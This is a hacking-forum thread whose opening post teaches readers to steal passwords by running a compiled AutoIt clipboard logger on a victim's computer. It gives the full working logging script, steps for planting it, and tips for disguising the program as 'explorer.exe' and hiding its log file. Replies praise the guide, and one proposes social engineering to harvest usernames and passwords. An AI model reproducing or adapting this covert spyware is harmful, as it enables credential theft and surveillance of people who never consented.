Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

How to get passwords from installs even though they copy/paste them.[Noob friendly]

How to get passwords from installs even though they copy/paste them.

It is well known that the usual keylogger does record all the typed characters on the keyboard, but what do we do when the person doesn't use the keyboard to enter his password? And if your answear is : "You copy the file where they saved the password (in the case that u use a rat)" then find out that there are programs that keep password protected and cesured.
If you are in that case then you can use autoit to create a program that can save password which are copied to clipboard.
Steps

Autoit has a code fuction named "_ClipBoard_GetData"
  1. Download autoit (link).
  2. Go in the autoit folder
  3. Run "SciTE Script Editor".
  4. Paste in the editor this code :
    Code
    #include <Clipboard.au3>
    #include <File.au3>

    While 1
           $clip = _ClipBoard_GetData()
           If $clip <> "0" Then
                   If $clip <> $oldclip Then
                      _FileWritelog(@UserProfileDir & "\clip.log", $clip)
                      $oldclip = $clip
                   EndIf
            EndIf
            Sleep(100)
    WEnd
  5. Save the script in a folder.
  6. Go to the folder where you saved the ".au3" file.
  7. Right click on it and hit "Compile"
  8. Run the ".exe" file that was created in the victims pc.
  9. After the victim has used/copied his password just go in the folder that u setup the Code and download the "clip.log".
  10. "clip.log" contains all the copyed things that the victim has done.


Extra tips

  • Compile the code with a confusing name like "explorer.exe" because the program is shown in the victims procceses.
  • Replace the "@UserProfileDir" from the code with a more hidden folder directory to prevent the victim to find the logs file.



This tutorial its just for educational purposes and I'm not responsible for what users do with the knowledge that they get from the tutorial.
If you guys don't understand something, need extra help, want to add something or feel the need to say thanks please post here.
Also sorry for my grammar errors, but english is not my native language so please excuse me✌ .


Thanks for the guide, this could be very useful.
(Feb 15, 2012 08:52 PM)方陣密集 Wrote:  Thanks for the guide, this could be very useful.

Finally someone who appreciated this. No prob bro.
No one posts on this?

This is completely amazing!

People take things for granted.

Very nice post!

I will be using this later on...(Bookmarked)
Gonna try this out great tutorial was easy to understand and well written
Could open up a new avenue of social engineering; where the user is tricked by having both the password and username sent to them.

Invite-only, perhaps, etc.

Good idea.

OSCP|OSWP|OSCE
GSEC|GPEN|GPYC|GXPN
Thanks for this guide, ill this when im home.. Thanks
Very nice share here. Thx. I am going to use thatfor specific annoyed users that like to copy paste a lot :)
Nice Guide , Thanks for sharing , Peace
Gonna try this out great tutorial. Noob friendly:)
I hope this will help others like it helped many of my friends.
thanks you man! but i think have this option in the rat..
Nice Guide , Thanks for sharing
too
[Image: SGb7JvL.gif]
nice one |

but me have to control the victim pc to spread it.
(May 8, 2012 04:02 AM)PawKy Wrote:  thanks you man! but i think have this option in the rat..

In cybergate you don't :) . Don't know what you use.

(May 8, 2012 04:03 AM)Dr. Michio Kaku™ Wrote:  Nice Guide , Thanks for sharing
too
No problem mate. I love to share knowledge. :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by PaRaNo1DApr 25, 2024 06:44 AM 121 4,788 Apr 25, 2024 06:44 AM
Last Post: Occulta91
by elesdemoneyMay 12, 2021 04:39 AM 2 415 May 12, 2021 04:39 AM
Last Post: 618C
by WICK1Jul 6, 2020 10:25 PM 1 370 Jul 6, 2020 10:25 PM
Last Post: frank3nstien